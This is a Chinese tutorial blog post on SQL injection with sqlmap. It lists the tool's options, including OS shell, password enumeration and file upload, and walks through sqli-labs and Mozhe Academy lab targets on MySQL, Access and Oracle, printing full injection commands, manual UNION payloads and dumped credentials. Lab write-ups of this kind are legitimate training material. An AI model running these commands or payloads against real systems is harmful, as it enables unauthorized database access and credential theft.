04_SQL注入_其他数据库&工具的入门

04_SQL注入_其他数据库&工具的入门

1. sqlmap 入门

前几篇博文主要是以手工方式进行注入,本篇博文简要介绍注入工具的使用。需要注意,工具的使用只是一定程度上提供了便利,并不能完全取代手工,实战中很少存在全自动操作,配合工具半自动操作,或是根据业务自主编写脚本才是可取之法,对于渗透工具的使用和手工操作无非是用筷子吃饭和用叉子吃饭的区别。

在使用工具时,也存在一定的限制。信息行业日新月异,工具开发者也不能做到面面俱到,以sqlmap为例,其目前支持的数据库有 MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等。也就是说,能够检测出以上支持数据库的情况下,使用sqlmap进行辅助注入是可行的,但是对于不支持的数据库则不可行(如MongoDB)。

1.1 sqlmap能做什么?

  • 布尔盲注:可以根据返回页面判断条件真假的注入
  • 时间盲注:页面回显不能提供线索,要用条件语句查看时间延迟语句是否已经执行;也就是说,在执行情况下页面回显时间会大于正常回显时间。
  • 报错注入:页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
  • 联合查询:在可以使用Union的情况下注入(前几章手工注入基本都是通过这种方式进行)
  • 堆查询注入:可以同时执行多条语句时的注入

Sqlmap的功能包括 数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时执行任意命令,实战中工具使用者也能够根据实际业务情况实现一些自定义的功能,相对于上一个技术世代的工具,其更加灵活、稳定性更强,且不易出现出现误判(扫到一半重启工具真的很烦)。总之,工具的诞生为的是让我们更快的吃到西瓜😎🍉。

1.2 sqlmap 使用习惯

与其说是sqlmap的使用习惯不如说是大多数sql注入的一般思路。

  • step 1.注入判断
sqlmap -u url #默认get注入,全局扫描,得到例如数据库版本,数据库系统名称等信息
sqlmap -r 文件路径/文件名.txt #抓取一个http数据包cookie注入中常用
  • step 2.信息收集
sqlmap -u url --dbs #获取数据库
sqlmap -u url --current-user #获取当前用户名称
sqlmap -u url --current-db #获取当前数据库名称
  • step 3.爆出字段
sqlmap -u url -D 数据库名 --tables   #列出表名 : 
sqlmap -u url -D 数据库名 -T 表名 --columns #列出列名 
sqlmap -u url -D 数据库名 -T 表名 -C 字段名1,字段名2,…… --dump #获取指定列
sqlmap -u url -D 数据库名 -T 表名 --dump #获取所有列

1.3 sqlmap常用命令和参数

一级命令:宏观操作

-u        #指定目标 URL
-b        #获取 DBMS banner
-D 数据库名      #指定数据库名
-T 表名         #指定表名
-C 字段名       #指定字段名
-r             #指定请求包

二级命令:往往拼接在一级命令后进行更见详细的操作

--cookie=data       #设置cookie 值 通常配合获取数据库使用 
--data              #设置 POST 提交的值
--current-db        #获取当前数据库
--current-user      #获取当前数据库的用户
--tables            #获取数据库里所有的表名
--columns           #获取表里的所有字段
--dump              #获取字段中的内容
--current-user      #获取当前用户
--string            #当查询可用时用来匹配页面中的字符串
--users             #枚举所有用户
--passwords         #枚举所有用户的密码hsah
--dbs               #枚举数据库中的数据库名
--level 3           #探测等级默认为1,等级越高Payload越多,速度也比较慢
--fresh-queries     #刷新缓存,避免后续查询数据不更新
--techque=U         #使用联合查询,B 布尔查询
--random-agent      #使用随机user-agent
--is-dba            #判断当前用户是否是管理员权限
--roles             #列出数据库管理员角色(仅适用与Oracle数据库)
--referer  HTTP Referer头 #伪造HTTP头中的Referer,当--level等级大于等于3时会通过伪造Referer来进行注入
--sql-shell          #运行自定义SQL语句 用法:sqlmap -u url --sql-shell
--os-cmd,--os-shell #运行任意操作系统命令,仅支持MySQL、PostgreSQL、SQL Server
--file-read          #从数据库服务器中读取文件,要知道文件绝对路径,需要配合其他爆路径操作一起使用
--file-write         #"本地文件路径" --file-dest "远程绝对路径"   上传文件到数据库服务器中
--tamper             #"模块名

1.4 操作演示

【靶场】sqli-labs:less-2

【目标】获取当前网站对应的用户名和密码🍉

step1. 注入判断

sqlmap -u http://127.0.0.1/sqli-labs-master/Less-2/?id=1

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[13:37:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:37:25] [WARNING] reflective value(s) found and filtering out
[13:37:25] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="Your")
[13:37:25] [INFO] testing 'Generic inline queries'
[13:37:25] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'                                                                                                             
[13:37:25] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[13:37:25] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[13:37:25] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[13:37:25] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[13:37:25] [INFO] GET parameter 'id' is 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)' injectable                                                                                        
[13:37:25] [INFO] testing 'MySQL inline queries'
[13:37:25] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[13:37:25] [WARNING] time-based comparison requires larger statistical model, please wait............... (done)  
[13:37:26] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[13:37:26] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[13:37:26] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[13:37:26] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[13:37:26] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[13:37:26] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[13:37:36] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[13:37:36] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[13:37:36] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[13:37:36] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[13:37:36] [INFO] target URL appears to have 3 columns in query
[13:37:36] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable

从返回的信息进行收集

DBMS:Mysql

version:5.0 以上

注入点:order by ,group by,联合查询,bool盲注,时间注入都可以

step 2.信息收集

爆库(可能存在跨库查询的可能性)

sqlmap -u http://127.0.0.1/sqli-labs-master/Less-2/?id=1 --dbs

[13:49:48] [INFO] fetching database names
available databases [6]:
[*] challenges
[*] information_schema
[*] mysql
[*] performance_schema
[*] security
[*] sys

爆出当前库

sqlmap -u http://127.0.0.1/sqli-labs-master/Less-2/?id=1 --current-db

13:53:27] [INFO] fetching current database
current database: 'security'

爆出当前用户

sqlmap -u http://127.0.0.1/sqli-labs-master/Less-2/?id=1 --current-user

[13:55:19] [INFO] fetching current user
current user: 'root@localhost'

当前用户为root,代表我们可以进行跨库查询,本实验中目标就是获取当前网站信息,所以不去看其他库。

step 3. 爆出字段

爆出表

sqlmap -u http://127.0.0.1/sqli-labs-master/Less-2/?id=1 -D security --tables

[13:59:35] [INFO] fetching tables for database: 'security'
Database: security
[4 tables]
+----------+
| emails   |
| referers |
| uagents  |
| users    |
+----------+

判断user是我们需要的表

爆出列

14:01:41] [INFO] fetching columns for table 'users' in database 'security'
Database: security
Table: users
[3 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| id       | int(3)      |
| password | varchar(20) |
| username | varchar(20) |
+----------+-------------+

爆出用户名密码

sqlmap -u http://192.168.124.21/sqli-labs-master/Less-2/?id=1 -D security -T users -C username,password --dump

14:05:32] [INFO] fetching entries of column(s) 'password,username' for table 'users' in database 'security'
Database: security
Table: users
[13 entries]
+----------+------------+
| username | password   |
+----------+------------+
| Dumb     | Dumb       |
| Angelina | I-kill-you |
| Dummy    | p@ssword   |
| secure   | crappy     |
| stupid   | stupidity  |
| superman | genious    |
| batman   | mob!le     |
| admin    | admin      |
| admin1   | admin1     |
| admin2   | admin2     |
| admin3   | admin3     |
| dhakkan  | dumbo      |
| admin4   | admin4     |
+----------+------------+

完成,回家吃西瓜🍉

注意:比起手工注入,看似工具真的很香,但是实战中没那么容易,只是做题快罢了,如果想要吃更多西瓜🍉学习注入还是从源码和手工注入一点点进行比较好。

2. 利用sqlmap其他数据库

2.1 ACCESS数据库

【靶场】墨者学院

https://www.mozhe.cn/bug/detail/VExmTm05OHhVM1dBeGdYdmhtbng5UT09bW96aGUmozhe

【目标】获取管理员密码登录

【步骤】

  • 启动靶场
    在这里插入图片描述
    点击尝试,找到url可以注入的点
    在这里插入图片描述
  • 复制url,尝试用sqlmap进行注入测试

sqlmap -u http://219.153.49.228:43700/new_list.asp?id=1

得到关键信息

[14:26:19] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 72 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 1298=1298
---
[14:26:26] [INFO] the back-end DBMS is Microsoft Access
back-end DBMS: Microsoft Access

由于是ACCESS数据库,由此不用进行爆库操作

mysql等服务器型数据库的结构是 数据库–>数据表–>列–>数据
而access数据库的结构是数据表–>列–>数据,由此如果是手工注入,只能去猜测字段,所以采用字典爆破更方便

  • 下面对ACCESS数据库采用字典爆破,尝试常用的表是否存在

sqlmap -u http://219.153.49.228:43700/new_list.asp?id=1 --tables

[14:31:32] [INFO] retrieved: news                                                              
                                                                                               
Database: Microsoft_Access_masterdb
[2 tables]
+-------+
| admin |
| news  |
+-------+
  • 爆出列

sqlmap -u http://219.153.49.228:43700/new_list.asp?id=1 -T admin --columns

Database: Microsoft_Access_masterdb
Table: admin
[5 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| data     | numeric     |
| id       | numeric     |
| passwd   | non-numeric |
| title    | non-numeric |
| username | non-numeric |
+----------+-------------+
  • 爆出用户名和密码

sqlmap -u http://219.153.49.228:43700/new_list.asp?id=1 -T admin -C username,passwd --dump

Database: Microsoft_Access_masterdb
Table: admin
[1 entry]
+----+-------------------+-------------------+----------+------------------+
| id | data              | title             | username | passwd           |
+----+-------------------+-------------------+----------+------------------+
| 13 | 2019-4-8 12:03:48 | QsN\x8e^sS\xf0P\\ | moke     | 7e6ec4fadf84938f |
+----+-------------------+-------------------+----------+------------------+
  • 在线解密
    在这里插入图片描述
  • 尝试登录
    在这里插入图片描述
    拿下,回家吃西瓜🍉

【总结】

ACCESS数据库作为文件型的数据库,其所有的表单独存放,思路有差别,且其没有一些文件执行的高权限操作,

2.2 Oracle数据库

【靶场】墨者学院

https://www.mozhe.cn/bug/detail/M2dRRXJqN3RqWnhvTGRTK1JJdjk5dz09bW96aGUmozhe

【目标】获取管理员密码登录🍉

【步骤】

  • 启动靶场(又是熟悉的配方🤣🤣🤣)
    在这里插入图片描述
  • 复制url进sqlmap

sqlmap -u http://124.70.71.251:41612/new_list.php?id=1

get方法全局探测

得到关键信息

[15:07:39] [INFO] the back-end DBMS is Oracle
back-end DBMS: Oracle
[15:07:29] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable

数据库为oracle 可以采用联合查询注入

  • 根据当前业务需求,爆出当前的用户和数据库

sqlmap -u http://124.70.71.251:41612/new_list.php?id=1 --current-db

sqlmap -u http://124.70.71.251:41612/new_list.php?id=1 --current-user

[15:13:14] [INFO] fetching current user
current user: 'SYSTEM'
[15:12:26] [WARNING] on Oracle you'll need to use schema names for enumeration as the counterpart to database names on other DBMSes
current database (equivalent to schema on Oracle): 'SYSTEM'
  • 爆出表

sqlmap -u http://124.70.71.251:41612/new_list.php?id=1 -D SYSTEM --tables

Database: SYSTEM                                                                               
[156 tables]
+-------------------------------+
| AQ$_INTERNET_AGENTS           |
| AQ$_INTERNET_AGENT_PRIVS      |
| AQ$_QUEUES                    |
			.......
| REPCAT$_TEMPLATE_OBJECTS      |
| REPCAT$_TEMPLATE_PARMS        |
| REPCAT$_TEMPLATE_REFGROUPS    |
| REPCAT$_TEMPLATE_SITES        |
| REPCAT$_TEMPLATE_STATUS       |
| REPCAT$_TEMPLATE_TARGETS      |
| REPCAT$_TEMPLATE_TYPES        |
| REPCAT$_USER_AUTHORIZATIONS   |
| REPCAT$_USER_PARM_VALUES      |
| SQLPLUS_PRODUCT_PROFILE       |
| NOTICE                        |
| SNS_USERS                     |
+-------------------------------+
  • 爆出列

sqlmap -u http://124.70.71.251:41612/new_list.php?id=1 -D SYSTEM -T SNS_USERS --dump

但是,此刻工具体现出局限性,网站对此可能做了限制

[15:33:12] [WARNING] unable to enumerate the columns for table ‘SNS_USERS’ in database ‘SYSTEM’

  • 采用半自动注入

回显判断

http://124.70.71.251:41612/new_list.php?id=-1%20union%20select%271%27,%272%27%20from%20dual

在这里插入图片描述
利用以及获得的信息查询列

拼接

union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users'),'null' from dual

在这里插入图片描述

union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')),'null' from dual

在这里插入图片描述

union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME','USER_PWD')),'null' from dual

在这里插入图片描述

显然没那么简单,出现status,可能会出现账号停用的情况,因此需要都回显查询

union select user_name,user_pwd from "sns_users"
union select user_name,user_pwd from "sns_users" where USER_NAME<>'hu'

在这里插入图片描述

查看账号存活状态 mozhe的status值为1,因此尝试解密登录

在这里插入图片描述
回家吃西瓜

【总结】

工具也有不好用的情况,实际业务中需要手工注入和工具配合注入,对于关系型数据库,注入思路大同小异,语法上可能存在区别。对于文件型数据库,可能又需要其他的操作来进行。下篇博客将介绍MongoDB的注入。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值